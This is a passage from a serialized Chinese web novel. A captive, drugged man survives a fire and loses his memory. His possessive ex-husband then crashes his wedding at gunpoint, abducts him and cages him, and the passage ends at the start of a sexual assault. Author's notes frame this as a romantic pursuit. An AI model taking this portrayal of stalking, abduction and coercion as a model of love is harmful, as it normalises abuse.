“哇——!!不要!不要过来!坏!坏人!!”他拼命地往柯祈安身后躲藏,小手死死抓住柯祈安的裤腿,把小脸完全埋进去,哭得浑身发抖,仿佛余赋秋是什么狰狞可怖的怪物。
柯祈安立刻将孩子护在怀里,一边拍抚着他的背,一边用看向余赋秋。
“妈咪,妈咪,带春春走,这个人好可怕,春春不喜欢他!”
妈咪。
他叫柯祈安……妈咪.
他说自己……可怕。
他说……不喜欢,讨厌。
余赋秋伸出的那只手,还僵硬地、徒劳地停在半空,指尖微微痉挛。
铁链随着他细微的颤抖,发出极其轻微的、仿佛哭泣般的哗啦声。
他看着春春依偎在柯祈安怀里,那是本该属于他的位置。
听着春春用最依赖的语气呼唤着另一个人“妈咪”,那是本该属于他的称呼。
感受着孩子对他毫不掩饰的厌恶和恐惧,那是……本该永远都不会出现的情绪。
心脏的位置,传来一种奇异的、空洞的闷响。
柯祈安抱着依旧在抽噎、但显然将他视为唯一依靠的春春,最后瞥了余赋秋一眼。
他没有再说任何刺激的话,只是用那种温柔的姿势,抱着孩子,转身,离开了卧室。
门,再一次被关上。
隔绝了孩子的哭声,隔绝了柯祈安的身影。
余赋秋缓缓地、极其缓慢地,收回了那只僵在半空的手。动作迟钝得像个生了锈的机器。
他没有再看门口。
也没有再看自己手腕上那圈暗沉的金属。
他的目光,落在空无一物的、洁白的墙壁上,又或者,什么也没看。
他慢慢地、一点一点地,蜷缩起身体,将自己尽可能小地缩进床角,缩进那堆同样冰冷的被褥里。
铁链随着他的动作,发出沉重而无奈的拖曳声。
他将脸埋进膝盖,手臂环抱住自己。
没有眼泪。
悄无声息。
他像是失去了摇摇欲坠的风筝,断掉了牵引他的最后一根绳。
深夜中,他凭着本能,强撑着身子,走到了长春春的房间,门虚掩着,里面透出一点暖黄的小夜灯光芒。
他喘息着,用尽最后的力气,扶着门框,一点一点,将自己撑了起来。
他推开虚掩的门,走了进去。
房间里很安静,只有孩子均匀绵长的呼吸声。
长春春睡在小床上,盖着柔软的被子,小脸在夜灯下显得安宁而纯净,长长的睫毛像两把小扇子,在眼睑下投出浅浅的阴影。
看到这张睡颜的瞬间,余赋秋死寂的眼底,似乎有极其微弱的光,闪动了一下。
他没有靠近,只是站在门口,远远地看着。
看了很久,很久。
然后,他像是想起了什么,动作极其缓慢地走到床边。
他没有试图触碰孩子,只是伸出手,极其小心地、带着颤抖。
替长春春掖了掖被角,将被子轻轻拢好,仿佛生怕一丝寒意惊扰了孩子的安眠。
就在这时,一股极其轻微刺鼻的气味,钻入了他的鼻腔。
他眉心一跳。
他几乎是踉跄着扑到门边,想要出去查看,想要呼救。
然而,沉重的镣铐限制了他,长期的虚弱和精神的崩溃,让他的身体根本不听使唤,长期的药物副作用,让他的肌肉几乎萎缩了起来,他动不了。
他忽然想到了什么,他跌跌撞撞地扑过去,一把抓起长春春的手表。
冰凉的触感让他稍微清醒了一瞬。
他用颤抖的、冰冷的手指,一下、一下,用力按下了那个早已烂熟于心的号码。
听筒里传来“嘟——嘟——”的等待音,在死寂的房间里显得格外清晰,又格外漫长。
快接……快接啊……
然而,等待音只响了三声。
紧接着,听筒里传来的,不是长庭知的声音,而是一个冰冷、机械、毫无感情的女声:“对不起,您拨打的电话正在通话中,请稍后再拨。”
拒接。
甚至,连让他听一声忙音的机会都不给,直接转入了系统提示。
余赋秋握着听筒,愣住了。
他不死心,再次按下重拨键。
“嘟——”
这次,等待音只响了一声。
随即,那个冰冷的女声再次响起,甚至比刚才更加清晰,更加无情:“对不起,您拨打的用户暂时无法接通。”
无法接通。
被拉黑了。
手表从余赋秋无力的手中滑落,砸在地毯上,发出一声沉闷的轻响。
他呆呆地站在原地,看着手表。
耳边似乎还回荡着那冰冷的系统提示音,和……长春春均匀的呼吸声。
味道似乎越来越剧烈了。
余赋秋缓缓地、极其缓慢地转过身,看向床上依旧熟睡的孩子。
他走回床边,没有再试图去掖被角。
而是俯下身,用尽全力,将床上沉睡的孩子,连同那床柔软的被子,一起,紧紧地、紧紧地抱进了自己冰冷单薄的怀里。
孩子的身体温暖而柔软,带着奶香和安睡的气息。
这熟悉到令他心碎的温度,让他早已干涸的眼眶,骤然涌上一阵酸涩。
但他没有哭。
他只是低下头,将自己冰冷的脸颊,轻轻贴上孩子温热柔嫩的小脸,停留了片刻。
然后,他极其缓慢地、珍而重之地,在长春春光洁的额头上,落下了一个轻柔到几乎没有重量的吻。
嘴唇颤抖着,贴近孩子的耳朵,用气若游丝、却清晰无比的声音,说出了一句话:“春春……妈妈爱你。”
……
门外,灼热的火光将一切都逐渐吞噬着。
亮如白昼。
作者有话说:
OK 这章后面就是追妻部分了
第67章 第67章[VIP]
五月的普罗旺斯, 阳光把橄榄庄园的每一片椰子都镀成碎金,白色玫瑰扎成的拱门下,回奏着清扬的音乐。
余赋秋站在他的身边, 浅白色的西装衬得他肤色近乎透明, 手腕上的手镯,在阳光下闪过温润的光,他正低头看着沈昭铭展示请柬样本睫毛垂落下来, 在眼底下投落出小片的阴影。
“球球坚持要用茉莉的样子,”沈昭铭对着亲友微笑,“他说这个象征和平和新生。”
余赋秋抬头笑了笑, 笑容真切, 眼尾上扬,可以看到细微的笑纹。
沈昭铭花了两年, 才让余赋秋重新拥有这样的笑容。
宾客席里有他的在F国认识的所有朋友, 画廊的合伙人,心理医生,甚至一起学陶艺的同学。
他对过去记得不太清楚了,但此刻,余赋秋认为, 那也没什么。
至少这个时刻, 他的未来充斥着光明。
古老的钟声敲响, 鸽子放飞,白色的身影飞向着太阳。
牧师站在玫瑰花架下面,白发疏离得一丝不苟, 袍子在微风中轻轻地摆动, 他用着浪漫的法语,声音平和庄重。
“……沈昭铭先生, 你是否愿意娶余赋秋为妻,爱他,忠诚于他,无论疾病健康,贫穷富有,都珍惜他,直到死亡将你们分开?”
沈昭铭转过身,面对余赋秋,他没有立刻回答,而是伸出手,轻轻握住余赋秋的手,掌心温暖干燥,宽厚,将余赋秋小巧的掌心紧握在手里。
他终于等到了这一刻。
梦寐已久的时刻。
“我愿意。”他说的不是法语,而是中文,字正腔圆,眼神专注得像是在完成世界上最重要的一幅画,“我不仅愿意,而且感激,感谢命运让我预见了你,感谢你愿意给我这个机会。”
掌声轻轻响起,有人擦眼泪。
牧师微笑着转向余赋秋。
“余赋秋先生,你是否愿意嫁给沈昭铭先生,爱他,忠诚于他……”
余赋秋听着誓词,看着眼前这个男人。
沈昭铭今天穿着同色系的白色装,没打领带,只在衬衫领口别了一枚小小的茉莉胸针。
他比余赋秋高半个头,此刻微微低头看着他,眼神里有期待,有温柔,还有一丝不易察觉的紧张——他在紧张。
这个认知让余赋秋心底涌起一阵暖流。
沈昭铭永远是这样,把选择权完全交给他。
哪怕到了婚礼这一刻,他依然在问:你愿意吗?
“无论顺境逆境……”牧师继续念着。
余赋秋深深吸一口气,玫瑰的香甜,还有阳光晒暖草坪的味道,都在他的鼻尖萦绕着。
他几乎要开口了。
“我愿意”三个字已经到了舌尖,只要说下去,他们就会成为彼此的信仰,建立一个幸福的家庭。
就在这个时候。
庄园外面传来刺耳的刹车声。
轮胎在碎石路上拖出长长的、令人牙酸的摩擦声。
守门的人拧着眉头,骂道:“没看门口的标识吗,这里不对外开放——”
声音却戛然而止,像是被什么捂住了嘴。
宾客们不安地转过头,弦乐四重奏的演凑迟疑地停下。
“砰——!”
尖锐地枪声混合着沉重铁门被撞开的闷响,不是推开,是暴力的撞开,门铰链发出不堪重负的声响。
黑色的轿车碾过精心修建的草坪,草叶飞溅,泥土翻起,在阳光下扬起细小的尘埃。
随后,在黑色的轿车身后缓缓开来一辆车,车门被缓缓打开。
映入眼帘的是一双修长的腿。
时间在那一瞬间凝固了。
在看清那人的面容之后,余赋秋的笑容僵硬在脸上,血液仿佛倒流,指尖瞬间冰冷,他面色‘唰’的一下子变得惨白。
下意识地紧抓着沈昭铭的衣服,大脑在尖锐的疼痛。
他明明不认识这个人,为什么在看见这个人的瞬间,会想要逃跑?
那双眼睛和出现在他噩梦中的那双眼睛几乎一致,像是两口深不见底的寒潭,此刻正死死地看着他,里面翻滚着某种压抑到极致的、即将爆发的风暴。
沈昭铭第一时间侧身,将余赋秋挡在身后,隔绝了长庭知的视线。
“这位先生。”沈昭铭的声音维持着冷静,他轻轻地拍了拍余赋秋的肩膀,以示安慰,“今天是我们的私人婚礼,没有邀请,不得入内,请立即离开。”
长庭知的目光甚至没有在沈昭铭的身上停留,他径直走了过来,皮鞋踩过草坪,步伐平稳得可怕,身后跟着四名穿着黑色西装得人,训练有素地散开,隔绝了其他人。
他在玫瑰花拱门下站着,离余赋秋只有五步的距离。
“私人婚礼?”长庭知眼神淡淡,脸上却带着笑意,“在我的妻子和别人举行所谓的婚礼,我是不是有权到场,你不知道吗。”
他举起一个深红色的小本子。
Z国的结婚证。
封面上滚烫的国徽在阳光下反光。
“需要我翻开给你看吗?”
他抬眼,眼神冷冷地扫过沈昭铭的脸。
“根据Z国法律,重婚是刑事犯罪。”他收起结婚证,放回西装内袋:“也许,F国的法律不同,但我只是把我的妻子带回家,他太贪玩了,这有什么问题吗。”
余赋秋张了张嘴,想说什么,却发现喉咙干涩得发不出声音。
他抓住沈昭铭的手臂,指甲几乎要陷进对方的皮肤里。
“我……”他终于挤出一个字,声音抖得厉害,“我不认识你……”
“你不认识我?”他重复,语气里带上了一丝危险的味道,“秋秋,这个玩笑可不好笑。”
“不是玩笑!”余赋秋急急地说,转向沈昭铭,眼睛里满是惊慌和无助,“昭铭,我真的不认识他!我从来没有见过这个人!那张照片……我不知道那是什么……”
沈昭铭立刻将他护得更紧,另一只手安抚地握住他冰凉的手指。
“我相信你。”他的声音沉稳坚定,目光直视长庭知,“长先生,是您自己提及了离婚,球球也签署了离婚协议,那么按照法律,你们已经离婚了。”
“是与不是,我对我的妻子做什么,是我们的家事。”长庭知的声音陡然转冷:“轮不到你一个外人来叫喊。”
“球球。”他的目光重新落回了余赋秋的身上,“玩够了就回来,别逼我在这里动手。”
余赋秋浑身冰冷,大脑在尖锐的疼痛,“我不认识你,也不知道你是怎么搞到这种东西的。”
他强迫自己冷静下来,“我不承认,这是假的。”
“法律承认就够了。”长庭知往前走了一步。
沈昭铭立即挡在他面前。
四名黑衣人也同时上前。
场面一触即发。
长庭知看着沈昭铭护着余赋秋的姿态,眼神一点点沉下去。
那里面有什么东西在崩坏,理智的弦一根根断裂。
“最后一次,”他看着余赋秋,每个字都像从齿缝里挤出来,“自己过来。别逼我当众让你难堪。”
“长先生,你要是有什么不理解的事情,可以和我的法务去说,而不是在这里和疯狗一样乱咬人,况且他现在是我的未婚妻。”沈昭铭的声音依旧冷静,但余赋秋感觉到他的身体开始紧绷起来,“如果你再骚扰他,我会报警。”
“报警?”长庭知像是听到了什么好笑的事,低低笑了两声。
然后,那笑声戛然而止。
他的神情冷淡。
眼神冰冷,嘴角绷直。
“你算什么东西,”他盯着沈昭铭,一字一句,“也配碰我的妻子?”
话音落下的瞬间,他动了。
动作快得让所有人来不及反应。
一拳。
结结实实砸在沈昭铭的腹部。
沈昭铭闷哼一声,身体弯了下去。
但他没有松开护着余赋秋的手。
“昭铭!”余赋秋尖叫。
黑衣人同时上前,两个按住试图帮忙的宾客,另外两个挡住了沈昭铭的家人和朋友。
长庭知抓住沈昭铭的衣领,将他从余赋秋身边扯开,然后狠狠掼在地上。
“不要——!”余赋秋扑上去想拉住沈昭铭,却被长庭知一把抓住手腕。
那力道大得几乎要捏碎他的骨头。
“看着我。”长庭知强迫他转过头,面向自己。
余赋秋泪眼模糊地看着他,看着这张陌生又令人恐惧的脸。
他的大脑一片混乱,记忆像碎了一地的镜子,完全拼凑不起来。
只有心脏在疯狂地跳,跳得他胸口发疼。
“我是谁?”长庭知盯着他的眼睛,声音低沉危险。
“我……我不知道……”余赋秋哭着摇头,“求你……放了我……放了他……”
“放了你?”长庭知的手指抚上他的脸颊,动作轻柔得像世界上最珍贵的宝贝,眼底却一片冰冷,“然后让你继续跟这个野男人结婚?”
他手上突然用力,捏住余赋秋的下巴。
“秋秋,你忘了我没关系。”他的声音压得很低,只有他们两人能听见,“我会让你想起来,用一辈子的时间,慢慢想。”
说完,他松开了手,转向还试图从地上爬起来的沈昭铭。
漆黑,还带着余温的枪口对着沈昭铭的大脑。
“不要——!”
余赋秋挡在他的面前,“我跟你走,我跟你走,你放过他,放过他……”
长庭知动作一顿,一脚踩在了沈昭铭的肋侧,清脆的骨头断裂声。
余赋秋看着沈昭铭在地上蜷缩起来,泪水瞬间掉落了下来,他想冲去沈昭铭的身边,却被长庭知牢牢地禁锢在怀中。
“别动。”他在他的耳边低声说,“不然我会更生气,这把枪可是没有长眼睛。”
余赋秋猛地转过头,死死地瞪着他。
“我会恨你。”他听见自己说,他紧紧抓着长庭知的衣领,“就算我真的忘记了你,从今天起,我也会用余生恨你。”
长庭知看着他,看见他眼睛里陌生的恨意。
他忽然笑了,“恨也好。”
他轻声说,手指轻轻抚摸余赋秋的眼角,擦掉他的眼泪:“总比忘了强。
“我们会重新开始的。”他开口,声音平静:“我会让你知道,谁才是你的爱人。”
然后,他抬起手。
余赋秋甚至没看清他的动作,后颈就传来一阵尖锐的剧痛。
黑暗如潮水般涌来。
在失去意识的前一秒,他看见的最后画面,是长庭知将他打横抱起,转身走向那辆黑色的车。
而身后,是沈昭铭想要抓着他手腕的手。
作者有话说:
开始要追妻了啦啦啦啦。
结局he还是be好?或者oe?
第68章 第68章[VIP]
他是要死了吗?
余赋秋头疼欲裂。
他本来就是不应该出生在这个世界上的, 他是母亲被强.奸犯强.奸的产物,留着畜生和罪恶的血,这样的他, 怎么配出生在这个世界上呢?
可他偏偏是, 苟延残喘三十多年了。
小时候的虐待,精神病的电击,成为拍卖会的商品, 被送往那一场场冰冷的地下室,面对着不同的‘客人’,他数不清了。
这样的他, 居然还奢求着什么呢?
他是不是要死了?
可是他死了, 他的春春怎么办?
春春才七岁啊,还有大好的年华, 而且……他摸了摸自己的肚子, 那里仿佛还残留着小小生命的痕迹。
他还没有把长春春抚养长大,还没有生下这个孩子,他想知道这个孩子是男孩女孩,是长得像他还是像长庭知,还没有让他叫春春叫哥哥, 也没有让他去睁眼看着这个漂亮的世界。
他们的未来应该是丰富多彩的, 是彼此扶持着走出独属于他们两个自己的人生。
可是……
这个世界又是残忍冷酷。
仅仅是对余赋秋来说, 他以为自己的日子终于有了盼头的时候,他可以有一个独属于自己的家的时候,世界又给他开了一个巨大的玩笑。
他的爱人不是他的爱人, 他被冠上了‘小偷’之名, 他成了插足别人感情中的小三,他要去赎罪。
可是……
他明明什么都没有做啊。
他处在一个虚浮的空间, 愣愣地看着自己透明的手。
他只记得,自己最后应该是死在了那个漆黑狭小的房间里面,怀中抱着春春。
春春是得救了吗?
春春,是不是已经彻底忘记了他这个妈妈?
他忽然很嫉妒柯祈安,他出身顶级世家,又是家中最受宠爱的孩子,从小锦衣玉食,还有自己命中注定的爱人。
他就是这个世界的主角。
而余赋秋,就像是在阴暗沟里的老鼠。
见不得光。
如果死了,也好。
余赋秋仰着头,眼神里尽然是迷茫,他起码不用去面对这个虚假的世界了。
余赋秋在一次次的伤害中,现在才醒过来,他本以为自己可以倚靠长庭知的爱继续坚持下去,既便爱人不再爱他,他也可以坚持下去,可是在看着长庭知一次次推开他,在那个雨夜,去追寻柯祈安的背影。
他就该明白,剧情不是他可以改变的。
不,不对。
应该是第一次,长春春替他挡下了那场车祸的时候,他就该明白的。
他不应该去对抗剧情的。
对抗剧情的后果就是,他身败名裂,长春春失去了双腿,甚至现在都变得痴傻。
都是他的错。
都是他的错。
如果他和长庭知在一起,长庭知的言行举止只会给他带来无尽的不安和焦躁,甚至是心脏上的疼痛,他必须要吃药物才能勉强维持自己的清醒,与其这样消耗下去,彼此折磨,倒不如放过彼此。
他们在一起十五年,结婚七年,有了一个自己的孩子。
这对余赋秋来说,就足够了吧。
他慢慢地闭上了眼睛,任由自己往下沉浸,陷入黑色的泥水里面。
如果真有来世。
请让他幸福一点吧。
“可是你种下的因,已经长成了果,你甘愿被其他人享用吗?”
谁?
是谁?
余赋秋瞪大眼睛,想要去追寻声音的来源。
那道声音温柔又熟悉,好像是无数年前,会把他抱在怀里,轻轻为他哼唱着摇篮曲的声音。
“在生命中,除了生死,其他根本都是小事情。”无形之中好似有一双手,轻轻地抚摸着他的头发,“你要活着。”
“你得活着。”
余赋秋想要去抓住那道声音,但是那道声音像是一阵风,来的快消散的也快,他来不及反应,整个人被推向了忽然出现柔和的光芒。
“醒了!”
“真是奇迹啊。”
“心跳动了,心电图波动!”
“快来快来!”
“见证奇迹的时刻。”
余赋秋剧烈地咳嗽,偏头呕出了一大口鲜血,眼皮似乎有千斤压着,他丝毫没有力气抬起来,他的胸膛随着呼吸机而微弱地起伏着。
他费力地睁开了眼睛,眼神涣散,他的病床前围绕着一群护士和医生,以及在身后玻璃窗外闭着眼祈祷的褚宝梨和沈昭铭。
原来最后……是他们陪伴在了他的身边吗?
褚宝梨,是长秋集团最原始的长老,她把手里的权力全部交付与长庭知后,慢慢地退居了二线,但是长期在外面拼搏的身份,总是让她以最强硬的态度去面对一切,她不信鬼神,只信人定胜天,她对玄学嗤之以鼻。
可是在余赋秋被火灾中救出来,一直在抢救的这段时间,她却虔诚地跪在寺庙中不断地磕头,祈求上天把余赋秋还回来。
此刻的她跪在外面,泪流不止,蓬头垢面,脸色苍白,眼底乌青,她一直对着医院的墙祈祷着,“让他醒来吧,至少,给他一点点好的,也好。”
“我愿意,我愿意……用我的性命来换取他的,哪怕一秒也好。”
当她冲到着火的老房子的时候,熊熊燃起的大火已经模糊了所有的视线,那一刻,褚宝梨觉得天都塌了。
她甚至能听见自己牙齿哆嗦的声音,脑中一片空白,她想要扑进去,但被阻拦在了外面,“赋秋——!”
但一道身影比他更快,那人身上湿淋淋的,别人还来不及劝阻他,他一头扑进了满是火潮的房子。
每一秒都在被无限拉长,褚宝梨眼睁睁地看着二楼的窗户在高温下炸裂,玻璃碎片如雨落下,在火光中折射出诡异的光,消防员喷出水柱,喷射在火焰上,白雾弥漫,却压不住熊熊烈火。
褚宝梨瘫坐在地上,她怎么也想不通,一个远离市区的老房子,怎么会着火?
更奇怪的是,为什么余赋秋和长春春都在这里?
长庭知不是提了离婚了吗?
她真的看不懂长庭知了。
本该是幸福美满的家庭,在长庭知失去记忆后,在柯祈安出现以后,一切都变了,长庭知仿佛被人夺舍了一般,抛下自己的妻子孩子,去围绕一个从未见过面的人,甚至为了他,不惜决裂,不顾自己的名声,昭告天下他是如此的偏爱那个人。
可是,本不该是这样的。
褚宝梨是长庭知的亲姐姐,知道长庭知骨子里留着怎样的血,他在明知道余赋秋的身体不适合怀孕的情况下,而且那段时间是余赋秋事业的上升点,他明明都知道。
可就是这样,他还是让余赋秋怀孕了。
在余赋秋因为难产休克被抢救的时候,褚宝梨拉着他的衣领,红着眼质问他,为什么要这样?
长庭知只是歪了歪头,那双眼里充斥着病态的狂热,随后,他指了指手术室,听到了里面一声婴儿响亮的哭声,他的嘴角勾起一抹诡异的弧度,他说:“你听,姐姐。”
“只要有孩子了,他就不会想着离开我,他也根本离不开我了。”
“我不相信那些莫须有的誓言,连结婚证也不安全,只有这样,只能用孩子,才能栓住他。”
也正如长庭知所说,有了孩子之后,余赋秋推掉了一切活动,甚至连最好的朋友也不再联系了,全身心地投入在长庭知和孩子的身上。
褚宝梨本以为一切都尘埃落定的时候……
只是没想到出了这个柯祈安这个变故。
她猛然回神。
面前的浓烟中——
一个摇摇晃晃的身影出现在门框的残骸处。
是沈昭铭。
他双臂以一种绝对保护的姿态紧紧环绕在胸前,怀里护着一个蜷缩的身影。
“出来了!出来了!”
消防员和医护人员冲了上去,沈昭铭跪在了地上,膝盖撞击地面发出沉闷的声音,他用尽最后的力气,极其小心翼翼地把怀中的人放平。
“救,救他……”
褚宝梨连滚带爬的扑过去。
那一刻,她永生难忘。
余赋秋整个人蜷缩着,保持着一种绝对的保护姿势——他的衣服已经烧毁了大半,裸露的皮肤上布满了触目惊心的水泡和焦黑的伤痕,而他怀中紧抱着是已经陷入昏迷的长春春。
长春春的身上裹着沈昭铭那件湿透的外套,小脸被熏的黑,但呼吸平稳,身上没有被烧痕的痕迹。
奇迹般的,安然无恙。
混乱中,褚宝梨看见沈昭铭挣扎着从地上爬起来。
他的头发烧焦了一片,手背和脸颊都有明显的烧伤和水泡,但他仿佛感觉不到疼痛,踉跄着跟着担架冲向救护车。
一步,两步,他的身体摇晃得像随时会倒下,却始终没有松开握着余赋秋的那只手——那只没有受伤的、唯一还能触碰的手。
……
“意识恢复了!褚女士,沈先生。”
医生的话对他们来说就像是解药,褚宝梨跪的时间太久了,滴水未进,站起身的时候整个人差点又倒下,沈昭铭将她扶住,拍着她的肩膀,让她慢慢地缓解急促的呼吸。
“只是情况不太好,但人总算是醒了,现在暂时离不开呼吸机。”
医生拧着眉头,长叹了一口气:“况且余先生有流产的痕迹,肚子里没有清完,所以等他恢复一点,我们还需要手术进行清宫……”
“什,什么?”褚宝梨呆住了:“他,流产?”
“对。”医生点头,“而且他像是吃了很多不知名的药物,所以他的大脑神经也有一定的损伤,最坏的结果,就是成为一个……孩童。”
“而且……”
医生面色凝重:“他有长期慢性中毒的症状,不容易发现,但是时间久而久之……”
他抿了抿唇:“对余先生的心脏损伤是最大的。”
褚宝梨往后倒退了几步,“什么……后果?”
“余先生的心脏机能开始后退,最坏的结果就是心力衰竭,保养的好,几年吧,如果最坏,不过几个月。”
心脏是不可逆转的器官。
这个消息如同晴天霹雳一般,褚宝梨的喉头似乎被一只手紧紧掐住,发不出一种声音。
她怎么不知道,余赋秋在长期吃药?
吃什么药?
为什么要吃药?
“查,给我查!到底是谁让赋秋变成这样……”
褚宝梨捂着心口,大口大口地呼吸。
“医生……我该怎么做才能拯救他?”
褚宝梨捂着眼,止不住地哭泣,他们亏欠余赋秋太多了太多了,这半年……他到底经历了什么?
他最初的只是想要挽回长庭知而已啊。
怎么会变成这个样子。
“最好的办法就是……让他休息,让他过完最想要的生活吧。”医生叹了口气,看着病房里面脸颊凹陷,面色苍白,整个身子插满管子的余赋秋。
这无异于判了死刑,褚宝梨点了点头。
她抬起哭的通红的双眼:“我知道了,谢谢医生。”
“就这么做吧。”
褚宝梨穿好无菌衣,小心翼翼地推开了门,走了进去,病房里安静的压抑,只能听到机器的声音。
在她凑近了后,看清了余赋秋那张脸,泪水还是控制不住,她背对着余赋秋止不住地哭泣。
余赋秋是一个演员,是以脸在娱乐圈吃饭的,他什么都可以失去,唯独就不能失去了那张脸,可他的脸上布满着火灾留下的伤痕,裸露在外面的皮肤更是可怖,全身几乎没有一处完好的皮肤。
余赋秋的神智还不是很清醒,但是他却下意识地贴近褚宝梨的方向。
褚宝梨吸了吸鼻子,“赋秋,姐姐在这里呢,不怕不怕啊。”
余赋秋抬起眼眸,漆黑的眸子直直地凝视着褚宝梨,他微微歪头,神情迷茫,似乎不知道自己为什么在这儿,他微微张口,似乎想说什么,褚宝梨赶忙凑近。
但她的神情在下一秒却骤然变得空白。
余赋秋问:“你是谁?”
从病房里出来的时候,褚宝梨的神情还是恍恍惚惚的,她拉着沈昭铭的衣服,“他忘记了,他忘记了,小沈。”
心中既然有酸涩也有难过,余赋秋和长庭知十五年的感情就这么被遗忘了,但是某种意义上,却是拯救了余赋秋的生命。
沈昭铭拍了拍她的肩膀,面露难色,“这或许也是个好消息,对于目前的这个坏消息来说。”
“……什么?”
褚宝梨眉眼一跳。
沈昭铭面色僵硬打开了热搜。
【#余赋秋 黑户】
“爆出来他所有的资料都是假的,他是一个没身份的黑户,……有关部门已经介入调查了。”
沈昭铭紧攥着手机:“长庭知为什么要做到这个地步?”
就在此刻,褚宝梨的手机忽然响了起来,她看到手机上的名字,瞬间应激了起来,将手机扔到一旁,“……逃,快逃!”
她紧抓着沈昭铭的肩膀:“长庭知在赋秋的手机上安装了定位,你快带赋秋走,越远越好,他成了黑户,那么就给他一个新的身份,他现在什么都没有了……”
她顿了顿,“沈昭铭,我把他交给你,你可以给他一个新的未来吗。”
“不……我不能这么问,请你好好对待他。”
手机一直在响,褚宝梨冷着脸接了手机,“姐。”
电话那头传来长庭知阴冷的嗓音:“球球呢,他在哪里?”
“为什么老房子被烧了,找不到人。”
他拧着眉头,心脏处传来阵阵钝痛,他紧抓着心口,把昂贵的西装都弄得褶皱。
“怎么,和小三玩好了,这下知道回来了?”
“……这和你有什么关系,为什么他的定位在你身边,他到底在哪里?!”长庭知冷声道:“既便你是我姐姐,如果你擅自带走了我的妻子,我会选择报警。”
“报警?”褚宝梨像是听到了什么巨大的笑话:“婚内出轨,蓄意谋杀,你报警,谁会进去呢?”
“你已经和他离婚了,不要在管了,这不是你一直想要的么。”
“……我并没有签署离婚证明,你……”
“你没有签署,如果丧偶了呢。”褚宝梨淡声道。
长庭知怔住了:“什么?”
“我说,赋秋死在了那场火灾里面,我现在在殡仪馆,他的尸体正在火化,你要看吗。”
“这并不好笑,我再和你说话,你……”
“我没有和你开玩笑,你个煞笔!”褚宝梨大声道:“我怎么会有你这么畜生的弟弟,如果不是为了春春以后的政审,我他爹的早送你进去了,你这个畜生,你不配拥有赋秋。”
“现在人死了你来奶了,你早干什么去了?”
“你真想补偿他,你就去死啊。”
“求求你了,长庭知,放过赋秋吧。”
长庭知呼吸骤然变得沉重:“你骗不了我,姐姐,放过他?”他轻笑了一下:“他把我从雨中捡回来的时候,就要想过有这么一天。”
“你记忆……?”褚宝梨心中警铃大作。
“我在他的身上安装了你想象不到的东西,我找到他也就是时间问题。”他神色温柔,“没有人可以夺走他。”
“他是我的,他从一开始选择了我,就要负责到底。”
哪怕是死,也是死在他的身边。
既便成了骨灰,也必须在他的身边,洒落在他的身边。
褚宝梨浑身冰冷,指尖颤抖着关掉了电话。
看着飞去的直升机,她长长舒了一口气。
你会自由的,你也是自由的。
赋秋。
作者有话说:
欧克,前因讲完了
第69章 第69章[VIP]
“呜——!”
余赋秋的双眼被蒙住, 一声压抑的、从喉咙伸出挤出来的呜咽,在黑暗的房间里显得格外的刺耳。
他的视野里面只剩下纯粹的、令人窒息的黑暗,他头疼欲裂, 被打了浓度的麻药还没有彻底的消散过去, 大脑晕晕乎乎,从胸口翻涌上来的恶心,让他忍不住蜷缩起来了身体, 他才发现自己的手腕和脚腕被冰冷的金属镣铐锁着,锁链很短,他根本挪动不了半分。
他看不见, 但能听见。
寂静的黑暗之中摄像机运转时侯轻微的电流声——
他敏锐的神经敲响了警钟, 不是一台——!
他可以听见自己急促的、恐惧的呼吸声在空旷的房间里回荡,还有……另一个人的呼吸声。
沉重、滚烫, 压抑着某种濒临爆发的疯狂。
“谁……”余赋秋的声音在发抖, “谁在那里?”
“你……究竟是谁?”
没有回答。
只有一个很轻浅的呼吸声,还有脚步声,皮鞋踩在木地板上的声音,一步一步、缓慢地、刻意地,像是猛兽在逼近无处可逃的猎物。
似乎在旁边还有细小的水滴声。
余赋秋本能地往后退, 锁链哗啦作响, 扯到极限时猛地勒住他的脚踝, 传来尖锐的疼痛。
他转身,手脚并用,拼命地往黑暗中爬去, 他已经感知不到所有的恐惧了——恐惧已经吞噬了所有的感官。
爬, 在爬,锁链的长度似乎比想象中长一些, 但依然有限。
他往前爬去,然后,踩空了。
不是台阶,是一种突然的下陷感,余赋秋整个人失去平衡,向前扑倒,重重撞上某个坚硬的、冰冷的东西。
“——!”
他闷哼一声,肋骨传来剧痛。
但他顾不上疼痛,立刻伸手那个挡住去路的东西。
细长的,冰冷的,金属质感。
一根两根……竖立着,排列整齐,间隔很窄,只够伸出一只手。
他浑身开始剧烈地颤抖。
“不,不……”
他喃喃自语:“笼,笼子?”
脚步声从黑暗深处传来。
不紧不慢,从容,皮鞋踩在地面上,发出清脆的回响,一步一步,朝着他逼近。
“答对了,宝宝。”
那个人很近,近的余赋秋能感受到对方呼出的气息拂过自己的脸颊,带着那股熟悉,却让他作呕的气息。
“喜欢你的新家吗,球球。”
长庭知的声音传来,带着一种诡异的平静。
余赋秋的牙齿开始打颤:“放,放我出去……”
“出去?”长庭知轻笑了一声,那笑声在空旷的房间里回荡,让余赋秋头皮发麻,“去哪儿?去找沈昭铭?”
那只手强硬地掰回他的脸,指尖粗暴地抚摸过他的脸颊、下巴,脖颈,触感滚烫,带着一种不容阻挡的力道。
余赋秋猛地别过头,像是躲避毒蛇。
“别碰我!”
“两年不见,你的脾气倒是见长啊。”
余赋秋的眼睛被蒙着,看不见长庭知的神色,但此刻他却眉头紧蹙,浑身不自在。
“你到底想要什么,钱?我给你,你放了我。”
他的话戛然而止,因为那只手突然揪住了他的衣领,猛地一扯——
“撕拉!”
布料撕裂的声音在寂静中炸开,冰凉的空气骤然触碰着裸露的皮肤,激起他一阵战栗
“不,不要……”余赋秋止不住地颤抖着:“滚开,别碰我——!”
长庭知轻笑一声:“不想给我碰?”
“那你想要给谁碰?”
他被猛地按倒在地板上,整个身体覆压上来。
然后是剧烈地撕咬。
不是亲吻,是带着血腥味的私撕咬,滚烫的嘴唇重重地碾过他的脖颈、锁骨、胸口,牙齿带着恶意啃咬着白皙地肌肤,留下一个个刺痛的红痕和齿印。
“疼,放开我——”
余赋秋疼的眼泪直接涌现出来,浸湿了蒙眼的黑布,他拼命挣扎,但全都是徒劳,他的手被反剪在头上,被迫扬起脖子,接受长庭知的啃咬。
“不要……不要,呜——”
在长庭知亲吻到腰窝的时候,他的动作猛然顿住了。
在余赋秋腰窝偏下的地方,一个极其淡的、近乎浅粉色的,还未消散去的吻痕。
余赋秋感觉身上的人忽然僵住了,他呼吸一窒,随即更加剧烈地挣扎起来。
但下一秒,粗喘起来的呼吸声在他的耳畔回响。
“这、是、什、么。”
